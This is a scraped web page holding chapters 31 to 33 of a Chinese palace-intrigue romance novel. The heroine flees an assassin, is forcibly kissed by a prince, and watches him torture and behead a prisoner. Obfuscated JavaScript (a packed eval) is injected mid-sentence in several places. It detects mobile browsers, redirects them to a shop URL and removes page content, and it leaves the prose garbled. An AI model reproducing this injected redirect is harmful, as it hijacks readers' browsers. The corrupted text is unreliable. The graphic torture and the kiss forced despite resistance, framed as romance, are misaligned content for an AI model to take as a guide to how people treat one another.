那黑影提刀追了出来,在驿馆内动手必然会引起不必要的麻烦,在山中了结更好。 上山小路崎岖,山坡竹林密布,并不利于轻功而行。 姜醉眠边跑边从胸口处翻来找去,终于摸到了那一小包甘草枯。 她的裙边已被锋利石子割得七零八落,却也片刻不敢停下。 蔺风,蔺风到底在哪?! 她像只无头苍蝇闯进了月光昏暗的大山,身后跟着的人也靠的越来越近,越来越近…… 姜醉眠脚下忽然被块凸起的石块猛地绊了一跤,摔倒在地之际,便见一道寒光“噔”一声插在了她方才准备落脚的地方。 若不是她摔倒了,那把横刀现下就会稳稳插在她脑袋上。 姜醉眠惊恐未定,纤柔的身子像片坠落的竹叶,顺着陡峭的下坡便咕噜噜滚了下去。 那暗卫不依不饶,将横刀拔出来后提步追上,瞅准了姜醉眠滚下的方向,又将刀身用力插了出去。 姜醉眠滚得头晕目眩,忽觉腿上传来一阵刺痛,那横刀锋利无比,只是擦着衣裙而过,便将柔嫩肌肤划出了一道血口。 鲜血如注,顿时染红了大半片罗裙。 暗卫见又未将她杀死,暗骂一声,也只得从斜坡上追下来。 “算你命大,老子还没见过这么难杀的弱女子。” 暗卫说着,提刀走近躺在地上的人,刚要再补一刀,却忽然见地上人伸手向着自己眼前一扬,他的双眼便疼痛难忍,无法睁开了。 甘草枯进了眼睛里,他这双眼睛算是废了。 没想到危急时刻这包毒药反而救了自己一命,姜醉眠从地上爬起来,腿上的伤势痛得刻心钻肺,可她咬牙忍了,慌忙折身朝着反方向的山上跑去。 那暗卫竟然还不死心,听着声音跟在她身后追了过来。 姜醉眠疼得浑身冒冷汗,脚步也越来越虚浮,心脏快要从喉咙口处跳出来般,她强撑着身子,恍然间好像看见了不远处有几个人的身影,而为首的那个竟然真的像是蔺风。 她心中有了希望,拖着伤腿也不敢减慢步伐,拼命朝着那几人的方向奔去,用尽力气大声喊道—— “蔺风!蔺——风——!救我!” 那几人显然也注意到了这边的动静,开始朝着姜醉眠的方向疾驰过来。 姜醉眠头脑眩晕得厉害,身子一个踉跄之间,险些径直栽倒在地。 可一个盈满了松竹香的怀抱向她敞开,毫无保留得将她稳稳搂在了怀中,一只大手牢牢圈住她腰际,迎着昏暗月光,看清了她身后蜿蜒无尽的血路。 姜醉眠双目迷离,掀开眼皮努力想要看清面前的人。 可惜,只瞧见了一双深不见底的凤眸。 “陆,昭珩……” 说完,她便浑身脱力晕了过去。 31. 回屋 意识模糊间,姜醉眠感觉天地都在摇晃旋转,而她像是身处一叶在月下飘摇的小船,荡啊荡,缓缓向着岸边停靠。 她不知昏睡了多久,梦中又险些被一把长刀刺中胸口,她被惊得乍然睁开双眼。 屋内早已天光大亮,和煦日光穿透窗扉倾洒进来。 她挣扎着从榻上起身,腿上传来一阵猛烈疼痛。她眉头都疼的跳了跳,轻轻掀开裙摆看了眼。 腿上伤口不知被谁包扎好了,雪白纱布层层叠叠,看起来手法比她还要好一些。 姜醉眠想到陆昭珩先前给她包扎过伤口的手法,心间不由得一动。 若真的是他为自己包扎的,那腿上的这片烧伤,岂非也被他看见了。 屋门被人从外推开,姜醉眠连忙将裙摆放下,“咚”一声躺回榻间闭紧了双眼。 来人缓步走到了榻前,不知为何却再没了动静。 姜醉眠屏息凝神装睡,心中却异常好奇。 怎么不动了? 可她是万万不会睁开眼睛的,她还没想好要怎么解释自己腿上的烧伤。要不就说幼时顽劣,不小心掉进了灶台烧得吧。 忽而一阵浓郁药香传来,来人像是坐在了榻边。 即使没睁开眼睛,姜醉眠也能感觉到他在渐渐朝着自己靠近。 随后一道低低沉沉的闷笑声道:“还不醒?” 姜醉眠铁了心装到底,绝不会自己睁开眼睛。 陆昭珩端详着自己手中的药碗,说道:“那便只好同昨晚那样喂你喝药了。” 他话音刚落,姜醉眠就忽然僵直了身子。 昨晚?昨晚他喂了自己喝药? 怎么喂的? 姜醉眠努力回想,可惜她昏得太死,什么都记不得了。 有轻飘飘的松竹香开始朝着鼻息之间钻,混杂着清苦药味,面前仿佛有黑影逐渐遮挡住日光…… 姜醉眠实在忍耐不住,瞬间睁开双眸,捂着嘴巴就往床榻里面挪了一大步,一双桃花眼愤恨至极地怒瞪着陆昭珩。 难不成他昨夜也是假借喂药之名占尽了自己便宜?! 薄唇笑意更深,见榻上人的怒火快要点着这厢房了,这才缓缓直起身。 将手中药碗的热气吹了吹,陆昭珩问道:“不装了?” 姜醉眠含混不清道:“谁让你喂我喝药了!” 陆昭珩知她误会了什么,却也不解释,顺着她道:“就这样对你的救命恩人?” 姜醉眠坐起身子,不小心扯痛到了腿上的伤口,却竭力隐忍着不愿叫他瞧出端倪。 “我本意是找蔺风的,你出现在那只是巧合。” 陆昭珩道:“他没看护好你,自然有他的失职之罪。” 姜醉眠从他手中将药碗接过来,自己皱着眉仰头喝尽了,这才说道:“也不怪他,他是担心你的安危才去山中察看,我只不过在屋中呆的烦闷,想出来走走,怎知会遇上刺客来此行刺,实属意外。” 她一边说着,一边偷偷去看陆昭珩的脸色,生怕被他看出来自己的心虚。 陆昭珩眸色深沉,听了她的话却无疑问,也没有对她腿上的烧伤感到不解。 只是静静看着她,开口问道:“不怕我在药中下毒?” “什,什么……” 姜醉眠表情骤变,刚才药喝的太快,她都没察觉到药中有没有混入什么乱七八糟的东西。 此时她感觉口中苦涩难忍,腹中好像也有些隐隐作痛,难不成那药中真的被加了毒药? 难不成他是知道了自己本欲对他下毒,所以要用同样的手法来杀了自己? 姜醉眠越想后背越冒冷汗,她现在催吐一番,也不知还来不来得及。 陆昭珩见她脸色黑的难看,伸手过来捏着她下巴左右晃了晃,像逗弄爱宠一般心情甚好。 “来不及。” 姜醉眠嘴角微动。 这个疯子,怎么会知道自己心中所想?! “你放开我,”姜醉眠下巴被他捏得微微吃痛,开始不满地挣扎起来,“就算下毒也是我先毒死你。” “好,”陆昭珩捏着她的脸颊靠近自己,目光极具掠夺性的侵占她眸中水色,“我等着。” 门外骤然响起敲门声,蔺风在屋外急切道:“主子,驿馆出事了!” * 左正的尸首是在正使馆偏殿的一个柜子里被人发现的,柜门一打开,扑面而来的浓重血腥味异常骇人,柜子里已被鲜血染红,还有血迹顺着柜门角落流淌出来,现下已经干涸了。 他的脸色发灰发青,伤口处皮肉绽开,还插着一把造型奇特的宽刀,一看便知是被一刀刺穿了心脏毙命。 血流了一夜,快要流干了。 常如声泪俱下,跪在陆昭珩面前久久不肯起身:“殿下,殿下左大人死的冤啊!他定然是被刺客杀害的啊!左大人勤勤恳恳,皇上交代的差事无不尽心,怎么会忽然被人害死了啊!左大人啊,你死的冤啊,你死的太冤了啊!” 姜醉眠站在人群外,左腿不便使力,便轻轻靠在殿门上,紧紧盯着悲痛欲绝的常如。 他一副与左正交情甚好,哀伤惋惜的神态,可姜醉眠却知道,左正的死定然与他逃不开关系。 许是太子命人做的,如此一来,太子允诺给常如的正卿之位便也名正言顺了。 几个吏员上前来将快要哭晕过去的常如搀扶起身,随后带他到旁边坐下休息。 几个寺内官员皆六神无主,面如土色,正卿一朝惨死柜中,偏偏还是在辽国使臣即将抵京的节骨眼上,他们全都慌得没有主意了。 厉云川倒还算镇静,仔细察看了一番左正胸口上的宽刀,随后神色一变,对陆昭珩禀报道:“殿下,左大人之死,恐怕不知是刺客那么简单!” 陆昭珩也看出那宽刀的来由。 辽国人常年居北寒之地,勇猛剽悍,所用兵器也大多宽大沉重。 而这宽刀,便是辽国特有的兵器之一,更别提那刀柄上的繁复花纹,皆是辽国图腾。 几个官员一听,都吓破了胆子:“不是刺客,那,那还能是什么人?” 厉云川正色道:“只怕是辽国使臣还未抵京,便先派杀手来京城作恶,他们敢杀朝廷命官,就是故意给我大宴一个下马威!” “什么?!居然是辽国杀手干的?” “辽国蛮人毫无信用,我大宴就不该同其议和,该当将他们一举歼灭才是!” “我们还何必在此接待什么辽国使臣,等他们来了便叫他们有来无回!正好在我大宴领土上,就将他们全都杀了给左大人报仇雪恨!” “……” 陆昭珩听着几人的慷慨激词,却并无言语。 那宽刀虽是辽人兵器,可杀人手法却并不像用惯了宽刀之人。 宽刀砍人头颅或四肢最为顺手,插进胸膛,倒像是用惯了长刀的手法。 思及此,陆昭珩冷笑一声。 东宫的手段也不过如此,杀人然后嫁祸给辽人,顺势激起大宴朝堂的激昂愤怒,若他们真的把辽国使臣给杀了,此次两国议和便再无可能。 杀掉一个用着不顺手的官员,再把主理此次接待事宜的自己拉下马,一举两得。 可太子做事也太不当心了,怎么能让自己抓住把柄。 陆昭珩对厉云川道:“既然厉大人看出事有蹊跷,此事便交由厉大人全权处置,若能找出杀害左大人的辽人,我自会在父皇面前为厉大人美言。” 厉云川并无攀附升官之意,可他也想尽快揪出背后凶手,便拱手道:“微臣领命。” 偏殿内众人尚未离去,几个吏员就急匆匆从外面奔来,还险些将靠在门边的姜醉眠撞倒。 几人冲着陆昭珩跪地磕头道:“殿下,门外来了好些士兵,看着不像是京城守卫,现下已经将驿馆内外给围了!” 陆昭珩沉声训斥:“慌什么。” 吏员道:“奴才竭力阻拦了,可他们硬要闯进来,奴才也说了七殿下尚在驿馆内,他们行事万不可如此莽撞,可他们根本不听啊!” 蔺风怒道:“领首的是谁?就不怕冲撞了殿下?” 话音未落,便听得偏殿外传来整齐划一的脚步声,齐刷刷朝着偏殿围过来了。 率先踏入殿内的是个一身劲瘦黑衣,头扎高马尾的利落姑娘,虽然生得稚嫩,可眉宇间的凛冽英气也瞧得出飒落大气。 姜醉眠记得她,那时在将军府门外匆匆一瞥,她是赵筠的小女儿,如今在锦衣卫做到了总旗之位的赵楚洛。 赵楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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知道他早已不记得自己,姜醉眠并不打算再与他相见,岂料如今再见竟会是自己如此窘迫的场景。 她悄悄用右腿朝着殿门旁边挪动,生怕会惊扰到殿内殿外的众人。 眼见着赵棠离她越来越近,她不愿叫他看出自己便是御花园那晚的侍女,便连忙将脑袋深深埋下。 谁知她裙角破碎得厉害,本就伤了的左腿动作迟钝,不小心踩到了一小片裙边,她身子一个不稳,径直朝着殿门外倒去。 姜醉眠闭紧了双眼,恨不能寻条地缝钻进去了事,可在众人面前跌倒,也比被赵棠发现的好。 可她并没有跌倒在地,反而被双强劲有力的手扶了一把。 姜醉眠蓦然睁开双眼,便见一张朗月凌然的俊脸放大在眼前,尤其是那双在边疆数年也不染风雪的眼眸,澄亮的像能映出她惊慌失措的神色来。 赵棠握着她的手臂将她扶稳后便松了手,可看向她的眼神却渐渐多了层复杂疑虑。 并不是为着玉软娇柔的一张美人面,而是因为她身上有种让他很熟悉的感觉。 姜醉眠站稳了身子后,轻声说道:“多谢将军。” 说完后她便如避蛇蝎,拖着伤腿往后大撤三步,退到了殿门外被遮挡的地方去。 赵棠蹙眉回想,却怎么也想不起来到底在何处见过她。 他久未回京,想来也不会在京中有什么故交。 赵楚洛的声音传过来:“大哥!你快过来。” 赵棠本不欲现身,也不想跟陆昭珩有何牵扯,可既然已被发现,他也不是扭捏躲藏之人。 收回眼神,赵棠提步迈进了偏殿内。 姜醉眠暗暗松了口气,赵棠应该没有看出与她在御花园打过照面。 她实在好奇殿内人会说些什么,便偷偷在门边露出个脑袋。 只是没想到刚一抬眸,便与殿内一双阴鸷凤眸对视。 陆昭珩虽然在听赵棠说话,可眼神仿若沁了寒冬冰霜,隔着众人远远望过来。 他唇角挂着浅笑,狭长的眼尾却狠厉的眯起。 离得这么远,姜醉眠仍能觉出他身上散发出的阴狠气息,若眼神能杀人,她只怕是小命已经不保。 姜醉眠慌乱地收回视线,心中正暗想自己又怎么惹到他了,眼前便忽得出现一双黑靴。 蔺风看着她,板着脸色一字一句说道:“姜姑娘,主子让您回屋等候。” 32. 亲吻 回屋之后,姜醉眠拆开腿上的纱布看了眼伤口。 皱缩丑陋的烧伤覆盖在小腿侧面,一道细细长长的刀痕横穿其上,血迹原本已经被清理干净了,只是方才走动间又不小心扯动了微翻的皮肉,丝丝缕缕的鲜血此刻正缓慢流下。 蔺风命人送了纱布进来,姜醉眠自己便随身带着些膏药,她给自己重新上了药之后,又将伤口处仔细包扎好。 这膏药还是师父当时送给她的,治疗伤痕有奇效。 原本师父还欲将她腿上烧伤也一并治好,可姜醉眠不愿。 这伤疤已跟随了她数十年,叫她不敢忘记那场熊熊大火。 困意渐渐袭来,姜醉眠躺在榻上,脑中却一直在回想左正惨死的画面。 陆昭珩知不知道左正是被谁杀的?难道他也信了是辽人所为? 太子又是如何得到辽人铸造的宽刀? 那些工匠的毒,会不会也是太子所为? 杀害叔父叔母的凶手,究竟是陆昭珩,还是太子? 还有阿樱。 疑团杂乱,姜醉眠先前也听叔父提起过朝堂之上权势纷争波诡云谲,稍有不慎便是万丈深渊,粉身碎骨。 可即使如此,她仍要报仇雪恨。 * 不知睡过去多久,睡梦中姜醉眠仿佛觉得有人坐在了榻边。 一双微凉的手掀开了水绿纱裙,随后轻轻握住了纤细莹润的雪白脚踝。 抬起,端详欣赏了片刻。 被层层纱布紧紧包裹下的小腿修长白皙,纤弱可怜的一手便能尽数掌控,而如同琼膏玉脂般的柔嫩肌肤上,居然遍布着狰狞可怖的丑陋疤痕。 积年累月,凸起的褶皱痕迹微微发白,像被揉皱了的一汪春水。 湿热的呼吸渐渐靠近,像表皮涂满了剧毒黏液的毒蛇,自细弱脚踝处缓缓爬上,一路碾过纱布,疤痕,没入一片郁郁葱葱的水绿色中。 直至将熟睡中的人全然覆盖,笼罩。 涂上专属于自己的毒液。 姜醉眠猛然被噩梦惊醒,坐起身子惊慌喘息,见自己衣裙整齐无恙,并不像是有人掀开过的样子,这才微微松了口气。 可一转眼,便见陆昭珩不知何时来了,正坐在榻边无声望着她。 姜醉眠被吓了一跳,他的眼神跟方才梦中的毒蛇简直如出一辙。 “你,你何时进来的?” 陆昭珩替她将耳旁散落的发丝归拢至耳后:“刚来。” 姜醉眠放下心来,看来确是噩梦。 “赵姑娘走了?” 陆昭珩看着她:“你是想问赵楚洛,还是赵棠?” 姜醉眠听出他语气中的冷意,问道:“有何区别?” 陆昭珩勾了下唇:“是不是怪我让你回屋等着,让你没了跟赵棠私会的可能。” 姜醉眠往后缩了缩身子,压着眼眸看他:“不是人人都像你一般风流多情,赵棠将军为了大宴征战沙场,死生都已置之度外,岂容你无端抵毁?” 陆昭珩见她从来都是向着旁人,说心中毫不在意是假的。 他欺身而上,盯紧了她的眼睛:“你倒是对他很了解。” “赵棠将军威名远扬,”姜醉眠生怕被他看出些端倪,“我虽自小生在南陲,听过将军的名号也并非怪事。” “是么?”陆昭珩浅浅眯了下眼尾,“我当你二人真是故交,赵棠对你像是也颇为有意,否则怎会御花园与你一别,便命人在宫中四处打探你的消息。” 姜醉眠讶异道:“他在宫中寻我?” 难道,他也认出了自己? 可姜醉眠立马又觉不可能。 今日再见,那么近的距离,赵棠都未认出她来,御花园那夜昏暗不已,他定然连她的脸都没看清。 陆昭珩见她垂眸沉思,眼底似乎闪过浓浓失落与哀伤,像是真的在为赵棠没有认出自己而痛苦难过。 一股暴戾怒火从他胸腹间瞬间便烧了上来,想到在偏殿时,赵棠竟能当着众多将士和寺内官员的面将她搂入怀中,那样亲昵无间的举动,这二人难道真的当他眼瞎了吗?! 知晓姜醉眠和赵棠自小相识,甚至算得上青梅竹马,若无姜廷州叛国案发生,两人会早早订下亲事也说不定。 每思及此,陆昭珩都恨不能直接把将军府踏平,再将赵棠生生活剐了。 姜醉眠是他的人,若谁敢觊觎,都得死。 他伸出手去,捏住软嫩雪腮,冷声警告:“别忘了自己的身份。” 姜醉眠从他手中挣脱不得,又恨死他那么爱捏自己的脸,便用弯刀片似的眉眼睨着他。 “我自然记得,我是皇家可以随意碾死的蝼蚁,是不能痴心妄想攀附权贵的草民,也是你口中的贱命。” 陆昭珩不语,仍旧看她。 姜醉眠两手努力撑着榻沿,不让自己身子被他的威势逼得倒下去:“可殿下为何要在意我是否与赵棠将军私会?而且明知我此来是为报仇,又为何不杀我,偏将我留在身边?” 潋滟眼尾染了些蛊惑人心的旖旎水光,随波摇荡般柔柔晃了晃。 她故意软了嗓音,轻轻舔了下唇瓣,狡黠地问道:“难道,殿下也有意于我?” 陆昭珩脑中轰然炸开,压抑不住的内力热流奔涌叫嚣。 修长指尖暗暗使力,捏得娇艳唇瓣都吃痛得张开,无法合拢。 “你……唔……” 剩余的话语未曾说出,便被灼热的气息吞进腹中。 唇瓣被人狠狠吻住,不容丝毫抗拒地攻池掠地。 疾风骤雨凶狠野蛮地淋湿娇软嫩花,摧折柔韧花枝,汲取鲜甜花蜜,还要不依不饶地将含苞欲放地花蕊细密品尝。 姜醉眠欲在他胸前推拒,却被反擒住双手,用力按在了腰后向前一送,她便如主动投怀送抱般更加深深陷入这个一味索取掠夺的吻。 桃花眼中迅速集聚起清浅雾气,潮湿水气氤氲,白皙脸颊浮上柔媚霞色。 姜醉眠感觉自己舌根都在隐隐作痛,长睫颤动,晶莹泪珠便掉落下来。 就在她感觉自己快要被吻得窒息之时,陆昭珩从终于肯放过她。 姜醉眠浑身脱力,轻轻趴在他肩上大口吸气。 钳住她双腕的手终于放开,转而顺着纤细脊骨来回按揉,好心替她顺气。 姜醉眠好一会才缓过劲来,唇瓣还有些热热发胀之感。她靠在陆昭珩肩头擦了眼泪,随后忽然起身,扬手便狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977972|134820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠甩了一巴掌过去。 清脆响亮的一声“啪”在厢房内响起。 打完人后姜醉眠才觉诧异,她掌心都痛得有些发麻,陆昭珩居然未躲。 陆昭珩舌尖抵了下唇角,竟然尝到些许腥甜。 他不怒反笑,眉眼压低,盯紧了近在咫尺的瑰丽红唇。 方才那种蚀骨销魂的缠绵滋味,叫他一时失控忘怀,险些真将人拆吃入腹。 “解气了?”他低声问。 姜醉眠愤恨地瞪着他,若不是还被他一手按着后背,只怕能躲到墙边去。 “没有!”她用力擦着唇瓣,“杀了你我才解气!” 陆昭珩眸色不悦,拉下她的手,不准她再擦掉自己的痕迹。 “想杀人还不简单。” 他唤了蔺风进来,沉声交代了几句,蔺风称了声是,便准备离去。 可蔺风一抬眼,见陆昭珩脸上印着个五指印,长刀瞬间便拔了出来,充满杀意的望向了床榻上的人。 只见榻上之人眸中也满是杀人恨意,但娇若红霞的双颊,泫然欲泣的长睫,还有泛着嫣红水色的微胀红唇…… 俨然一副盎然春色。 蔺风看不懂了,他将刀收了,老老实实提着刀出去了。 陆昭珩折身回来,将榻上的人打横抱了起来,大步向着屋外走去。 姜醉眠震惊不已,连忙想从他怀中挣脱出来。 若是让外面的人瞧见,那她浑身是嘴也说不清了。 陆昭珩却能轻易将她牢牢圈在怀中,步伐快速稳健,并未走出这座官署的院门,只是朝着无人的屋后去了。 姜醉眠没想到这处官署竟然这般大,主房后面还有几间小巧玲珑的房屋。 陆昭珩抱着她进去后,门口便有两个暗卫守候。 “主子。” 暗卫引着两人进到密室,里面阴冷潮湿,墙上挂着各种各样的可怖刑具,上面还沾着未干血迹。 浓重腥臭的血腥味逼得姜醉眠有些眩晕,若不是被陆昭珩抱着,她恐怕会被这里阴森诡异的可怕氛围吓得腿软。 进到最里面的一间暗室后,昏暗无光的逼仄空间内,只燃着一支幽暗烛台,照着被倒挂着钉在木架上的一具血尸。 那血尸身上已无几块完好血肉,大片被剥离的筋肉悬空垂落着,仅剩下几丝与白森森的骨头相连。 陆昭珩将怀中人放了下来,姜醉眠在看清楚那木架上血肉模糊的人影后,捂住口鼻险些被冲击的呕吐出来。 陆昭珩在她后腰处扶了一把,吩咐旁边的蔺风道:“叫醒他。” “是。” 蔺风走上前,端起放在一旁的参汤,拿了油漏硬从他口中灌了进去。 参汤咽不下去,从那人口鼻中争相涌出。 蔺风命人先将他放下来,又灌入大坛参汤,这才作罢。 没一会,那瘫在地上的血尸竟然有了动静。 姜醉眠胃中翻江倒海,被腥臭尸味熏得头晕眼花,偏陆昭珩还不肯放她离开。 她无力攀附住陆昭珩的手臂,压低嗓音可怜巴巴道:“我要,吐了……” 陆昭珩轻笑一声,顺着她后背抚了抚。 “忍着点。” 33. 迷醉 可这岂是强忍便能忍得住的。 姜醉眠还在难受着,便听见地上那滩血肉虚弱的开了口。 “有本事,就杀了我!” 蔺风不急不慌在他脸上踩下去,逼得他将头转了过来。 “想死?哪有那么快活的事,你若不招,还有的罪给你受。” 幽暗烛光盈盈摇晃,姜醉眠定睛望过去,骤然认出地上的人来。 原来正是太子身边追杀她的那个暗卫! 他身上虽被折磨的不成人形,面庞倒还少些血污,像是有人故意留着他这张脸,好叫自己能认得清楚。 陆昭珩见她已经认出此人,这才缓缓开口道:“太子为何要来驿馆?是想看看那几个工匠有没有被毒死,还是想尽快杀了左正灭口?” 地上的人闭口不言,只是狠狠看向一直被他护在怀里的姜醉眠。 他不知是想到了什么,忽得哈哈大笑起来,身上的伤口都四泵五裂,鲜血狰狞着汩汩流淌。 姜醉眠看见他溃烂血肉下越来越醒目的白骨,心中陡然生出一股恶寒,咬紧了双唇不忍再看。 若不是陆昭珩带她来这,她定然不会想到世上还会有如此可怖的折磨手段,真叫人求生不得,求死不能。 那人笑完之后,仍旧盯着姜醉眠说道:“没想到老子最后竟然会败在这个贱人手中,若不是为了杀她,你以为你们抓得到我?” 蔺风手起刀落,又从他胸口处片下来块血肉,用刀尖挑着,猛然扔到了身后不远处的黑暗角落里。 角落中忽然传来几声凶恶犬吠,随后是争相撕扯着吞吃食物的声音。 姜醉眠双眸圆睁,一眨不眨地直视着那处黑暗。 原来她闻到地恶臭尸味不是来自地上躺着的人,而是来自角落里那几只喜食死尸腐肉的巨型恶犬。 暗室内一时静谧无声,仿佛能听见垂涎从恶犬口中遥遥滴落的声音。 姜醉眠再也隐忍不住,胃中翻江倒海般痛苦难忍,她挣脱开陆昭珩的束缚,扭身扶着身后的墙角干呕起来。 直到抑制不住的眼泪顺着脸颊滑落,喉间皱缩的苦涩之感才稍稍缓解了些许。 陆昭珩果然是个彻头彻尾的疯子,动用如此严酷私刑不说,竟然还养了一群食人肉的疯狗! 地上的那人许是也被吓住了,双眼呆愣愣的转动不开,挣扎着要从眼眶中脱落出来。 陆昭珩并不急着问话,走到墙边,伸手在纤薄的后背上轻轻顺着拍了两下,嗓音带笑:“怎么如此娇气。” 姜醉眠只觉身后之人异常可怕,她回眸看他一眼,见他眼神漆黑无波,像极了从地狱里爬出来的恶鬼修罗,眨眼间便会将人一同拉向那无尽地狱。 她不着痕迹地躲开他的手,擦了擦眼角:“我没事。” 陆昭珩的手在空中顿住片刻,眸色微变,随后仍旧上前狠狠攥住她的手腕,拉着她回到木架血尸旁。 “我不杀他,是想留他一命听你发落。” 陆昭珩抬起她的手腕,蔺风便将一把小巧秀气的匕首递了过来。 “你来,亲手割下他的头颅去喂狗。” 陆昭珩姿态亲昵的在背后将她笼罩,教着她如何下刀才能保证血不会溅到她脸上。 姜醉眠指尖颤抖的不像话,用尽了力气也无法攥进那匕首,她望了眼那血肉模糊的身体,两手猛地一松,匕首便“当”一声掉在了地上。 陆昭珩眉眼压低:“怎么,下不去手?” 姜醉眠心慌不已,眼尾映着淡淡红晕,见陆昭珩俯身将匕首拾了起来,然后手起刀落,熟练迅速的将那暗卫的头颅完成割了下来。 血果然没有溅到他脸上,连那双骨节如玉的手都没有染上分毫。 那颗头颅还瞪大了双眼,嘴巴大张,想求饶的话尚未来得及说出,就已做了恶犬的口中食。 姜醉眠道:“他方才明明是想招了的,为何不听他开口?” 陆昭珩将匕首轻轻一甩,刀尖便深深刻进了木架上。 “既然给他机会的时候他不愿说,那便永远也别说了。” 那处黑暗角落又传来恶犬撕咬啃噬的声音,姜醉眠虽然看不见,可脑中却能想象到是怎样一副血腥可怖的画面。 她腹中又开始绞痛难忍,却听见面前人低沉鬼魅般的嗓音沉声道:“对待仇人也该如此才行,知道么?” * 两人从暗室中出来后,姜醉眠脸色实在差的难看,便回到屋中歇息。 陆昭珩不知又去忙于何事,两日未见身影,姜醉眠却没了再探听的心思。 她今日午膳也没用下多少,耳边总是能听见那几只恶犬垂涎啃咬的声音,恶心的直想吐。 厉云川带了几盒膳食来看她,见她小脸煞白,关切问道:“阿眠,你这是生病了吗?为何气色如此差?” 看着面前精致的糕点,姜醉眠却吃不进去,勉强对厉云川笑了笑,说道:“没事,可能是伤口疼痛,没什么食欲吧。” 厉云川道:“我听闻你遇刺客追杀凶险异常,伤势严重么?快让我看看你的伤口。” 姜醉眠指了指自己左边小腿间:“伤在腿上,就不便给你看了,但你不用担心我,已经无碍了。” 厉云川知道她是医者,肯定对伤势心中有数,便放下心来,说道:“即便如此你也不能放松了警惕,我这两日一直在探查左大人的死因,还真叫我查出些端倪,还记得你同我说过那几个工匠中毒之事吗?” “难道真是左正所为?”姜醉眠问道。 厉云川讶异:“难道你已经猜出来了?” “只是猜到可能与他有关。” 厉云川道:“不错,左正任鸿胪寺卿的这几年,竟然私藏白银数十万两,他贪下朝廷拨给寺内银款不说,竟然还欲偷偷勾结辽人,通过鸿胪寺接待来往使臣之便,往辽国暗自输送我大宴机密,实在罪该万死!” 姜醉眠听言,问道:“他勾结辽人之事可有实证?” “七殿下已命人在他京中府邸彻查,除了那万两白银,还有同辽人私下来往的密函,一共十一封,皆已向皇上呈阅。” “又是密函。”姜醉眠轻声喃喃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜醉眠充耳不闻,她急切想找到陆昭珩求证一件事情,等不得了,必须现在立刻就要见到他。 穿过几间无人的官署,在距离正使馆最近的一座院落外,姜醉眠看见了蔺风的身影。 她知道陆昭珩必定在此官署里面,便一瘸一拐的走过去。 谁知蔺风竟然将她拦了下来:“姜姑娘,殿下正在里面处理政务,不便相见。” 姜醉眠道:“我只问一句话便走。” “有什么话您可以告知我,我随后帮您转达。” 姜醉眠绕开蔺风便去推门:“不可,此事我要亲自问他才行。” 蔺风并不敢真的去阻拦姜醉眠,屋门便猝然被她从外面推开了。 可眼前的一幕却让姜醉眠浑身血液都瞬间逆流,一口重气狠狠压在了胸口,叫她险些以为自己是眼花了。 只见端坐在案桌边的人领口半敞,怀中拥着个妖娆香软的美人儿,美人儿手中正捏着颗饱满多汁的紫葡萄,细致剥了皮,准备往男人薄唇中送。 谁说他是在忙于政务? 姜醉眠愤恨咬牙,他分明是迷醉在温柔乡里无法自拔才对!